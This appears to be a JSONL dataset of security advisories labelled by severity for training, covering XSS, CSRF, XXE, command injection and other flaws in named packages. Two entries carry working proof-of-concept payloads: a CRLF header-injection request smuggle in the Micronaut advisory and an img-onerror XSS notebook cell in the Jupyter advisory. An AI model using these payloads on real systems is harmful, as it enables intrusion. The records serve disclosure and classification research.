-{"id": "d1ca2c60cab8e4458bed", "text": "Cross-site Scripting in GilaCMS\n\nA stored cross-site scripting (XSS) vulnerability in GilaCMS v1.11.4 allows attackers to execute arbitrary web scripts or HTML via a crafted SVG file.", "text_raw": "Cross-site Scripting in GilaCMS\n\n[Severity: MEDIUM]\n\nA stored cross-site scripting (XSS) vulnerability in GilaCMS v1.11.4 allows attackers to execute arbitrary web scripts or HTML via a crafted SVG file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "4f42e5f46039ea6658b7", "text": "Cross-Site Request Forgery in GilaCMS\n\nA Cross-Site Request Forgery (CSRF) in GilaCMS v1.11.4 allows authenticated attackers to arbitrarily add administrator accounts.", "text_raw": "Cross-Site Request Forgery in GilaCMS\n\n[Severity: HIGH]\n\nA Cross-Site Request Forgery (CSRF) in GilaCMS v1.11.4 allows authenticated attackers to arbitrarily add administrator accounts.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "80f2fd8776dfecf42546", "text": "OSGi applications using Vaadin 12-14 and 19 vulnerable to server classes and resources exposure\n\nVulnerability in OSGi integration in `com.vaadin:flow-server` versions 1.2.0 through 2.4.7 (Vaadin 12.0.0 through 14.4.9), and 6.0.0 through 6.0.1 (Vaadin 19.0.0) allows attacker to access application classes and resources on the server via crafted HTTP request.\n\n- https://vaadin.com/security/cve-2021-31407", "text_raw": "OSGi applications using Vaadin 12-14 and 19 vulnerable to server classes and resources exposure\n\n[Severity: HIGH]\n\nVulnerability in OSGi integration in `com.vaadin:flow-server` versions 1.2.0 through 2.4.7 (Vaadin 12.0.0 through 14.4.9), and 6.0.0 through 6.0.1 (Vaadin 19.0.0) allows attacker to access application classes and resources on the server via crafted HTTP request.\n\n- https://vaadin.com/security/cve-2021-31407", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "bb6de13721167c40560a", "text": "Code injection in kill-process-by-name\n\nThis affects all versions of package kill-process-by-name. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization in the index.js file.", "text_raw": "Code injection in kill-process-by-name\n\n[Severity: CRITICAL]\n\nThis affects all versions of package kill-process-by-name. If (attacker-controlled) user input is given, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization in the index.js file.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "792f93a1f3df83590bb0", "text": "Plone Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in the safe_html filter in Products.PortalTransforms in Plone 2.1 through 4.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2010-2422.", "text_raw": "Plone Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the safe_html filter in Products.PortalTransforms in Plone 2.1 through 4.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2010-2422.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "2518f3f9e9abc8eaefcf", "text": "Cross-site scripting (XSS) vulnerability in DotNetNuke (DNN) before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", "text_raw": "Moderate severity vulnerability that affects DotNetNuke.Core\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in DotNetNuke (DNN) before 7.4.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "1d0f1146191f7fba6ff2", "text": "iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability", "text_raw": "iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-09-16", "split": "train"}
-{"id": "3c093a39fc4ce494248f", "text": "XML External Entity (XXE) Injection in Jackson Databind\n\nA flaw was found in FasterXML Jackson Databind, where it did not have entity expansion secured properly. This flaw allows vulnerability to XML external entity (XXE) attacks. The highest threat from this vulnerability is data integrity.", "text_raw": "XML External Entity (XXE) Injection in Jackson Databind\n\n[Severity: HIGH]\n\nA flaw was found in FasterXML Jackson Databind, where it did not have entity expansion secured properly. This flaw allows vulnerability to XML external entity (XXE) attacks. The highest threat from this vulnerability is data integrity.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-18", "split": "train"}
-{"id": "0f035323ab7289606280", "text": "Cross-site Scripting in Eclipse Jetty\n\nIn Eclipse Jetty version 9.2.26 and older, 9.3.25 and older, and 9.4.15 and older, the server is vulnerable to XSS conditions if a remote client USES a specially formatted URL against the DefaultServlet or ResourceHandler that is configured for showing a Listing of directory contents.", "text_raw": "Cross-site Scripting in Eclipse Jetty\n\n[Severity: MEDIUM]\n\nIn Eclipse Jetty version 9.2.26 and older, 9.3.25 and older, and 9.4.15 and older, the server is vulnerable to XSS conditions if a remote client USES a specially formatted URL against the DefaultServlet or ResourceHandler that is configured for showing a Listing of directory contents.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-23", "split": "train"}
-{"id": "f5d05219d67c0697e08c", "text": "FLIR Systems FLIR Thermal Camera FC-S/PT Authenticated OS Command Injection", "text_raw": "FLIR Systems FLIR Thermal Camera FC-S/PT Authenticated OS Command Injection\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2017-09-25", "split": "train"}
-{"id": "67ee345daaffa9ce0377", "text": "Use after free in string-interner\n\nAffected versions of this crate did not clone contained strings when an interner is cloned. Interners have raw pointers to the contained strings, and they keep pointing the strings which the old interner owns, after the interner is cloned. If a new cloned interner is alive and the old original interner is dead, the new interner has dangling pointers to the old interner's storage, which is already dropped.\n\nThis allows an attacker to read the already freed memory. The dangling pointers are used by the interners to check a string is already interned. An attacker can do brute force attack to get the data pointed by the dangling pointer.", "text_raw": "Use after free in string-interner\n\n[Severity: HIGH]\n\nAffected versions of this crate did not clone contained strings when an interner is cloned. Interners have raw pointers to the contained strings, and they keep pointing the strings which the old interner owns, after the interner is cloned. If a new cloned interner is alive and the old original interner is dead, the new interner has dangling pointers to the old interner's storage, which is already dropped.\n\nThis allows an attacker to read the already freed memory. The dangling pointers are used by the interners to check a string is already interned. An attacker can do brute force attack to get the data pointed by the dangling pointer.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "998a0ed0ae2030554e6b", "text": "Downloads Resources over HTTP in tomita\n\nAffected versions of `tomita` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `tomita`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in tomita\n\n[Severity: HIGH]\n\nAffected versions of `tomita` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `tomita`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "55e55191b1e5e560a8e0", "text": "Downloads Resources over HTTP in dalek-browser-chrome-canary\n\nAffected versions of `dalek-browser-chrome-canary` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-chrome-canary`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in dalek-browser-chrome-canary\n\n[Severity: HIGH]\n\nAffected versions of `dalek-browser-chrome-canary` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `dalek-browser-chrome-canary`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "68083e65f1f0e1cbdd32", "text": "miekg/dns parsing error leads to nil pointer dereference and DoS\n\nAn issue was discovered in `setTA` in `scan_rr.go` in the Miek Gieben DNS library before 1.0.10 for Go. A `dns.ParseZone()` parsing error causes a segmentation violation, leading to denial of service.", "text_raw": "miekg/dns parsing error leads to nil pointer dereference and DoS\n\n[Severity: HIGH]\n\nAn issue was discovered in `setTA` in `scan_rr.go` in the Miek Gieben DNS library before 1.0.10 for Go. A `dns.ParseZone()` parsing error causes a segmentation violation, leading to denial of service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "c6138a7f6760e819eb2c", "text": "XML External Entity (XXE) Injection in Apache Solr\n\nIn Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's \"dataConfig\" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property \"enable.dih.dataConfigParam\" to true.", "text_raw": "XML External Entity (XXE) Injection in Apache Solr\n\n[Severity: HIGH]\n\nIn Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's \"dataConfig\" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property \"enable.dih.dataConfigParam\" to true.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-01", "split": "train"}
-{"id": "e5f84d87883a13787605", "text": "RSA signature validation vulnerability on maleable encoded message in jsrsasign\n\n### Impact\nVulnerable jsrsasign will accept RSA signature with improper PKCS#1.5 padding.\nDecoded RSA signature value consists following form:\n`01(ff...(8 or more ffs)...ff)00[ASN.1 OF DigestInfo]`\nIts byte length must be the same as RSA key length, however such checking was not sufficient.\n\nTo make crafted message for practical attack is very hard.\n\n### Patches\nUsers validating RSA signature should upgrade to 10.2.0 or later.\n\n### Workarounds\nThere is no workaround. Not to use RSA signature validation in jsrsasign.\n\n### ACKNOWLEDGEMENT\nThanks to Daniel Yahyazadeh @yahyazadeh for reporting and analyzing this vulnerability.", "text_raw": "RSA signature validation vulnerability on maleable encoded message in jsrsasign\n\n[Severity: CRITICAL]\n\n### Impact\nVulnerable jsrsasign will accept RSA signature with improper PKCS#1.5 padding.\nDecoded RSA signature value consists following form:\n`01(ff...(8 or more ffs)...ff)00[ASN.1 OF DigestInfo]`\nIts byte length must be the same as RSA key length, however such checking was not sufficient.\n\nTo make crafted message for practical attack is very hard.\n\n### Patches\nUsers validating RSA signature should upgrade to 10.2.0 or later.\n\n### Workarounds\nThere is no workaround. Not to use RSA signature validation in jsrsasign.\n\n### ACKNOWLEDGEMENT\nThanks to Daniel Yahyazadeh @yahyazadeh for reporting and analyzing this vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-16", "split": "train"}
-{"id": "9bd35b94950b6d82f824", "text": "Micronaut's HTTP client is vulnerable to HTTP Request Header Injection\n\n### Vulnerability\n\nMicronaut's HTTP client is vulnerable to \"HTTP Request Header Injection\" due to not validating request headers passed to the client.\n\nExample of vulnerable code:\n\n```java\n@Controller(\"/hello\")\npublic class HelloController {\n\n@Inject\n    @Client(\"/\")\n    RxHttpClient client;\n\n@Get(\"/external-exploit\")\n    @Produces(MediaType.TEXT_PLAIN)\n    public String externalExploit(@QueryValue(\"header-value\") String headerValue) {\n        return client.toBlocking().retrieve(\n            HttpRequest.GET(\"/hello\")\n                .header(\"Test\", headerValue)\n        );\n    }\n}\n```\n\nIn the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.\n\nFor example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.\n\n```java\nList<String> headerData = List.of(\n    \"Connection: Keep-Alive\", // This keeps the connection open so another request can be stuffed in.\n    \"\",\n    \"\",\n    \"POST /hello/super-secret HTTP/1.1\",\n    \"Host: 127.0.0.1\",\n    \"Content-Length: 31\",\n    \"\",\n    \"{\\\"new\\\":\\\"json\\\",\\\"content\\\":\\\"here\\\"}\",\n    \"\",\n    \"\"\n);\nString headerValue = \"H\\r\\n\" + String.join(\"\\r\\n\", headerData);;\nURI theURI =\n    UriBuilder\n        .of(\"/hello/external-exploit\")\n        .queryParam(\"header-value\", headerValue) // Automatically URL encodes data\n        .build();\nHttpRequest<String> request = HttpRequest.GET(theURI);\nString body = client.toBlocking().retrieve(request);\n```\n\nNote that using `@HeaderValue` instead of `@QueryValue` is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).\n\n### Impact\n\nThe attacker is able to control the entirety of the HTTP body for their custom requests.\nAs such, this vulnerability enables attackers to perform a variant of [Server Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html).\n\n### Patches\n\nThe problem has been patched in the `micronaut-http-client` versions 1.2.11 and 1.3.2 and above.\n\n### Workarounds\n\nDo not pass user data directly received from HTTP request parameters as headers in the HTTP client.\n\n### References\n\nFix commits\n- https://github.com/micronaut-projects/micronaut-core/commit/9d1eff5c8df1d6cda1fe00ef046729b2a6abe7f1\n- https://github.com/micronaut-projects/micronaut-core/commit/6deb60b75517f80c57b42d935f07955c773b766d\n- https://github.com/micronaut-projects/micronaut-core/commit/bc855e439c4a5ced3d83195bb59d0679cbd95add\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [micronaut-core](https://github.com/micronaut-projects/micronaut-core)\n* Email us at [info@micronaut.io](mailto:info@micronaut.io)\n\n### Credit\n\nOriginally reported by @JLLeitschuh", "text_raw": "Micronaut's HTTP client is vulnerable to HTTP Request Header Injection\n\n[Severity: CRITICAL]\n\n### Vulnerability\n\nMicronaut's HTTP client is vulnerable to \"HTTP Request Header Injection\" due to not validating request headers passed to the client.\n\nExample of vulnerable code:\n\n```java\n@Controller(\"/hello\")\npublic class HelloController {\n\n    @Inject\n    @Client(\"/\")\n    RxHttpClient client;\n\n    @Get(\"/external-exploit\")\n    @Produces(MediaType.TEXT_PLAIN)\n    public String externalExploit(@QueryValue(\"header-value\") String headerValue) {\n        return client.toBlocking().retrieve(\n            HttpRequest.GET(\"/hello\")\n                .header(\"Test\", headerValue)\n        );\n    }\n}\n```\n\nIn the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.\n\nFor example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.\n\n```java\nList<String> headerData = List.of(\n    \"Connection: Keep-Alive\", // This keeps the connection open so another request can be stuffed in.\n    \"\",\n    \"\",\n    \"POST /hello/super-secret HTTP/1.1\",\n    \"Host: 127.0.0.1\",\n    \"Content-Length: 31\",\n    \"\",\n    \"{\\\"new\\\":\\\"json\\\",\\\"content\\\":\\\"here\\\"}\",\n    \"\",\n    \"\"\n);\nString headerValue = \"H\\r\\n\" + String.join(\"\\r\\n\", headerData);;\nURI theURI =\n    UriBuilder\n        .of(\"/hello/external-exploit\")\n        .queryParam(\"header-value\", headerValue) // Automatically URL encodes data\n        .build();\nHttpRequest<String> request = HttpRequest.GET(theURI);\nString body = client.toBlocking().retrieve(request);\n```\n\nNote that using `@HeaderValue` instead of `@QueryValue` is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).\n\n### Impact\n\nThe attacker is able to control the entirety of the HTTP body for their custom requests.\nAs such, this vulnerability enables attackers to perform a variant of [Server Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html).\n\n### Patches\n\nThe problem has been patched in the `micronaut-http-client` versions 1.2.11 and 1.3.2 and above.\n\n### Workarounds\n\nDo not pass user data directly received from HTTP request parameters as headers in the HTTP client.\n\n### References\n\nFix commits\n- https://github.com/micronaut-projects/micronaut-core/commit/9d1eff5c8df1d6cda1fe00ef046729b2a6abe7f1\n- https://github.com/micronaut-projects/micronaut-core/commit/6deb60b75517f80c57b42d935f07955c773b766d\n- https://github.com/micronaut-projects/micronaut-core/commit/bc855e439c4a5ced3d83195bb59d0679cbd95add\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [micronaut-core](https://github.com/micronaut-projects/micronaut-core)\n* Email us at [info@micronaut.io](mailto:info@micronaut.io)\n\n### Credit\n\nOriginally reported by @JLLeitschuh \n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-30", "split": "train"}
-{"id": "1bb91ec8de7578e41d24", "text": "Path Traversal in public\n\nVersions of `public` before 0.1.3 are vulnerable to path traversal. This is due to lack of file path sanitization which could lead to any file the parent process has access to on the server to be read by malicious user.\n\n## Recommendation\n\nUpdate to version 0.1.3 or later.", "text_raw": "Path Traversal in public\n\n[Severity: HIGH]\n\nVersions of `public` before 0.1.3 are vulnerable to path traversal. This is due to lack of file path sanitization which could lead to any file the parent process has access to on the server to be read by malicious user.\n\n\n## Recommendation\n\nUpdate to version 0.1.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-18", "split": "train"}
-{"id": "dbfe23fd19161d9a4886", "text": "Excessive memory allocation\n\nIn version from 3.0.0 to 3.5.3 of Eclipse Vert.x, the WebSocket HTTP upgrade implementation buffers the full http request before doing the handshake, holding the entire request body in memory. There should be a reasonnable limit (8192 bytes) above which the WebSocket gets an HTTP response with the 413 status code and the connection gets closed.", "text_raw": "Excessive memory allocation\n\n[Severity: MEDIUM]\n\nIn version from 3.0.0 to 3.5.3 of Eclipse Vert.x, the WebSocket HTTP upgrade implementation buffers the full http request before doing the handshake, holding the entire request body in memory. There should be a reasonnable limit (8192 bytes) above which the WebSocket gets an HTTP response with the 413 status code and the connection gets closed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "958fcd392ba70538dad3", "text": "Cross-Site Scripting in serialize-javascript\n\nVersions of `serialize-javascript` prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.\n\n## Recommendation\n\nUpgrade to version 2.1.1 or later.", "text_raw": "Cross-Site Scripting in serialize-javascript\n\n[Severity: MEDIUM]\n\nVersions of `serialize-javascript` prior to 2.1.1 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize serialized regular expressions. This vulnerability does not affect Node.js applications.\n\n\n## Recommendation\n\nUpgrade to version 2.1.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-05", "split": "train"}
-{"id": "6e698829e1c5a1cd2ffd", "text": "Cross-site scripting in sickrage\n\nIn SiCKRAGE, versions 9.3.54.dev1 to 10.0.11.dev1 are vulnerable to Reflected Cross-Site-Scripting (XSS) due to user input not being validated properly in the `quicksearch` feature. Therefore, an attacker can steal a user's sessionID to masquerade as a victim user, to carry out any actions in the context of the user.", "text_raw": "Cross-site scripting in sickrage\n\n[Severity: MEDIUM]\n\nIn SiCKRAGE, versions 9.3.54.dev1 to 10.0.11.dev1 are vulnerable to Reflected Cross-Site-Scripting (XSS) due to user input not being validated properly in the `quicksearch` feature. Therefore, an attacker can steal a user's sessionID to masquerade as a victim user, to carry out any actions in the context of the user.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "ba981a2d1d62db74aef6", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak", "text_raw": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Backdoor Jailbreak\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-07-17", "split": "train"}
-{"id": "01b7d56292c9248e1b4f", "text": "OS Command Injection in bikeshed\n\nThis affects the package bikeshed before 3.0.0. This can occur when an untrusted source file containing Inline Tag Command metadata is processed. When an arbitrary OS command is executed, the command output would be included in the HTML output.", "text_raw": "OS Command Injection in bikeshed\n\n[Severity: HIGH]\n\nThis affects the package bikeshed before 3.0.0. This can occur when an untrusted source file containing Inline Tag Command metadata is processed. When an arbitrary OS command is executed, the command output would be included in the HTML output.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "cec3e9a84aafe2fcf2e4", "text": "LEADTOOLS ActiveX Raster Twain v16.5 (LtocxTwainu.dll) Remote Buffer Overflow PoC", "text_raw": "LEADTOOLS ActiveX Raster Twain v16.5 (LtocxTwainu.dll) Remote Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-28", "split": "train"}
-{"id": "e76477f943dba452383a", "text": "Out-of-bounds Write in OpenCV\n\nAn exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV 4.1.0 (corresponds with OpenCV-Python 4.1.0.25). A specially crafted XML file can cause a buffer overflow, resulting in multiple heap corruptions and potential code execution. An attacker can provide a specially crafted file to trigger this vulnerability.", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nAn exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV 4.1.0 (corresponds with OpenCV-Python 4.1.0.25). A specially crafted XML file can cause a buffer overflow, resulting in multiple heap corruptions and potential code execution. An attacker can provide a specially crafted file to trigger this vulnerability.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "74849b271977b525e94b", "text": "Denial of Service in SheetsJS Pro\n\nSheetJS Pro through 0.16.9 allows attackers to cause a denial of service (memory consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js (issue 2 of 2).", "text_raw": "Denial of Service in SheetsJS Pro\n\n[Severity: MEDIUM]\n\nSheetJS Pro through 0.16.9 allows attackers to cause a denial of service (memory consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js (issue 2 of 2).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-22", "split": "train"}
-{"id": "3f8935a2a4e0814ef6e9", "text": "Ansible fails to properly mark lookup-plugin results as unsafe\n\nAnsible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.", "text_raw": "Ansible fails to properly mark lookup-plugin results as unsafe\n\n[Severity: CRITICAL]\n\nAnsible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-06", "split": "train"}
-{"id": "b3be4d8cb66c3690df6f", "text": "Special Element Injection in notebook\n\n### Impact\n\nUntrusted notebook can execute code on load. This is a remote code execution, but requires user action to open a notebook.\n\n### Patches\n\n5.7.11, 6.4.1\n\n### References\n\n[OWASP Page on Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html#injection-prevention-rules)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list security@ipython.org.\n\nCredit: Guillaume Jeanne from Google\n\n### Example:\n\nA notebook with the following content in a cell and it would display an alert when opened for the first time in Notebook (in an untrusted state):\n\n```\n{ \"cell_type\": \"code\", \"execution_count\": 0, \"metadata\": {}, \"outputs\": [ { \"data\": { \"text/html\": [ \"<select><iframe></select><img src=x: onerror=alert('xss')>\\n\"], \"text/plain\": [] }, \"metadata\": {}, \"output_type\": \"display_data\" } ], \"source\": [ \"\" ] }\n````", "text_raw": "Special Element Injection in notebook\n\n[Severity: HIGH]\n\n### Impact\n\nUntrusted notebook can execute code on load. This is a remote code execution, but requires user action to open a notebook.\n\n### Patches\n\n5.7.11, 6.4.1\n\n### References\n\n[OWASP Page on Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html#injection-prevention-rules)\n\n### For more information\n\nIf you have any questions or comments about this advisory, or vulnerabilities to report, please email our security list security@ipython.org.\n\nCredit: Guillaume Jeanne from Google\n\n\n### Example:\n\nA notebook with the following content in a cell and it would display an alert when opened for the first time in Notebook (in an untrusted state):\n\n```\n{ \"cell_type\": \"code\", \"execution_count\": 0, \"metadata\": {}, \"outputs\": [ { \"data\": { \"text/html\": [ \"<select><iframe></select><img src=x: onerror=alert('xss')>\\n\"], \"text/plain\": [] }, \"metadata\": {}, \"output_type\": \"display_data\" } ], \"source\": [ \"\" ] }\n````", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "16a38897645785b50d28", "text": "dom4j allows External Entities by default which might enable XXE attacks\n\ndom4j before 2.1.3 allows external DTDs and External Entities by default, which might enable XXE attacks. However, there is popular external documentation from OWASP showing how to enable the safe, non-default behavior in any application that uses dom4j.\n\nNote: This advisory applies to `dom4j:dom4j` version 1.x legacy artifacts.  To resolve this a change to the latest version of `org.dom4j:dom4j` is recommended.", "text_raw": "dom4j allows External Entities by default which might enable XXE attacks\n\n[Severity: CRITICAL]\n\ndom4j before 2.1.3 allows external DTDs and External Entities by default, which might enable XXE attacks. However, there is popular external documentation from OWASP showing how to enable the safe, non-default behavior in any application that uses dom4j.\n\nNote: This advisory applies to `dom4j:dom4j` version 1.x legacy artifacts.  To resolve this a change to the latest version of `org.dom4j:dom4j` is recommended.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "7717ff9fa1d48747eb09", "text": "tlslite-ng off-by-one error on mac checking\n\ntlslite-ng version 0.7.3 and earlier, since commit [d7b288316bca7bcdd082e6ccff5491e241305233](https://github.com/tlsfuzzer/tlslite-ng/commit/d7b288316bca7bcdd082e6ccff5491e241305233) contains a CWE-354: Improper Validation of Integrity Check Value vulnerability in TLS implementation, `tlslite/utils/constanttime.py`: `ct_check_cbc_mac_and_pad()`; line `end_pos = data_len - 1 - mac.digest_size` that can result in an attacker manipulating the TLS ciphertext which will not be detected by receiving tlslite-ng. This attack appears to be exploitable via man in the middle on a network connection. This vulnerability appears to have been fixed after commit [3674815d1b0f7484454995e2737a352e0a6a93d8](https://github.com/tlsfuzzer/tlslite-ng/pull/234/commits/3674815d1b0f7484454995e2737a352e0a6a93d8).", "text_raw": "tlslite-ng off-by-one error on mac checking\n\n[Severity: HIGH]\n\ntlslite-ng version 0.7.3 and earlier, since commit [d7b288316bca7bcdd082e6ccff5491e241305233](https://github.com/tlsfuzzer/tlslite-ng/commit/d7b288316bca7bcdd082e6ccff5491e241305233) contains a CWE-354: Improper Validation of Integrity Check Value vulnerability in TLS implementation, `tlslite/utils/constanttime.py`: `ct_check_cbc_mac_and_pad()`; line `end_pos = data_len - 1 - mac.digest_size` that can result in an attacker manipulating the TLS ciphertext which will not be detected by receiving tlslite-ng. This attack appears to be exploitable via man in the middle on a network connection. This vulnerability appears to have been fixed after commit [3674815d1b0f7484454995e2737a352e0a6a93d8](https://github.com/tlsfuzzer/tlslite-ng/pull/234/commits/3674815d1b0f7484454995e2737a352e0a6a93d8).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-12", "split": "train"}
-{"id": "650166b697ce2fdc1f45", "text": "ZKTeco ZKBioSecurity 3.0 User Enumeration Weakness", "text_raw": "ZKTeco ZKBioSecurity 3.0 User Enumeration Weakness\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-08-31", "split": "train"}
